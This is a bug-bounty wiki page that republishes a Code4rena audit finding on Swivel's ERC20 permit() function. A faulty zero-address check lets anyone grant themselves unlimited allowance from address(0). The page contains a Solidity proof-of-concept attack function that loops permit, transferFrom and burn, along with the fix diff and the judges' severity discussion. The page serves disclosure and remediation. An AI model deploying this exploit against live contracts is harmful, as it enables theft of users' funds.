Skip to content
Access control Audit finding Intermediate

ERC20 Incorrect check on returnedAddress in permit() results in unlimited approval of zero address

The permit() function in a Solmate-derived ERC20 contract incorrectly allowed a recovered address of zero to pass the signature check, so anyone could grant themselves unlimited allowance from the zero address. This could let an attacker transfer tokens held at the zero address and potentially drain a protocol, though the report notes the current implementation does not send tokens to the zero address when burning.

devtooligan Follow

Originally disclosed on Code4rena

Submitted by devtooligan

When creating ERC20.sol from Solmate, a require() in permit() was converted to a custom error incorrectly.

It now reads:

if (recoveredAddress != address(0) && recoveredAddress != owner) {
    revert Invalid(msg.sender, owner);
}

So if the recoveredAddress is non-zero and the recoveredAddress is not owner it will error. But if the recoveredAddress == 0x0 then it will pass this check.

Anyone can permit themselves as a spender using the zero address for any token which inherits this ERC20 implementation. So, for example, someone could redeem some zcTokens for underlying, then transfer the burned tokens back to themselves and repeat, draining the protocol.

Proof of Concept

function attack(IZcToken zctoken) {
    zctoken.permit(
        address(0x0),
        address(this),
        type(uint).max,
        block.timestamp,
        uint8(0),  // using 0 for r,s,v returns address(0x0) from ecrecover()
        bytes32(0),
        bytes32(0)
    );
    assert(zctoken.allowance(address(0x0), address(this)), type(uint).max);

    uint amount = zctoken.balanceOf(address(0x0)

    zctoken.transferFrom(
        address(0x0),
        address(this),
        amount
    );

    // assumes attacker has previously acquired notional
    IMarketPlace(mp).burnZcTokenRemovingNotional(
        zctoken.protocol(),
        zctoken.underlying(),
        zctoken.maturity(),
        address(this),
        amount
    );

    // .. repeat until drained, then move on to next token

}

Recommended Mitigation Steps

diff --git a/Creator/Erc20.sol b/Creator/Erc20.sol
index a1f72b0..8464626 100644
--- a/Creator/Erc20.sol
+++ b/Creator/Erc20.sol
@@ -162,7 +162,7 @@ contract Erc20 {
                 s
             );

-            if (recoveredAddress != address(0) && recoveredAddress != owner) {
+            if (recoveredAddress == address(0) || recoveredAddress != owner) {
                 revert Invalid(msg.sender, owner);
             }

JTraversa (Swivel) disagreed with severity and commented:

This would rely on the zcTokens themselves to sit on address(0) right?

So the big thing would be that whatever burn implementation the token uses must actually remove the tokens from the supply rather than sending them to address(0). (which this implementation does)

That said, its clear the statement wasn’t as intended (or that block would have been removed).

With scope questions this should probably be low-med or disputed?

robrobbins (Swivel) resolved:

Addressed: https://github.com/Swivel-Finance/gost/pull/415.

bghughes (judge) commented:

It’s an interesting scope question as it questions a dependency - that said, this sort of low-level dependency, if used throughout the protocol, could jeopardize funds in a vault and break ERC-20 assumptions. I think the issue should stand given the risk.

JTraversa (Swivel) commented:

Yea agreed.

That said I’m more emphasizing the other part for the severity claim?:

So the big thing would be that whatever burn implementation the token uses must actually remove the tokens from the supply rather than sending them to address(0). (which this implementation does)

Though I think we are ameliorating this anyways, the issue would only arise if somehow address(0) was broken, as discussed by the warden himself in this twitter thread: https://twitter.com/devtooligan/status/1554709426652688384

0xean (judge) decreased severity to Medium and commented:

Given the current implementation does not send these tokens to address(0) to burn them I think this should be downgraded to Medium severity.

The “external requirement” would be someone / some protocol trying to burn tokens be sending them to address(0) instead of calling burn.

I don’t see a direct attack path given the current implementation but do think this is above QA, Med seems right.


The original report as published on Code4rena, by devtooligan. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The condition in permit() used logical AND instead of OR, so it only reverted when the recovered address was both non-zero and not the owner, allowing a zero recovered address to bypass the check.

Impact

An attacker could gain unlimited allowance from the zero address and potentially drain tokens if any are held there, but the current implementation does not send tokens to the zero address when burning, so the direct attack path is limited.

What the attacker needed

Token inherits the vulnerable ERC20 implementation; tokens are held at the zero address

How it was found

  1. Call permit() on the token contract with the zero address as owner, the attacker as spender, maximum amount, and zero values for v, r, and s.
  2. The permit() call succeeds and sets an unlimited allowance from the zero address to the attacker.
  3. Use transferFrom() to move tokens from the zero address to the attacker.
  4. Burn the transferred tokens to remove the underlying notional, then repeat.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is about a smart contract function that lets someone approve another person to spend their tokens, using a cryptographic signature. A mistake in checking that signature meant that a special 'empty' address (the zero address) was accepted as valid, so an attacker could approve themselves to spend tokens from that empty address. If any tokens were ever sent there, the attacker could take them.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from Swivel v3 contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.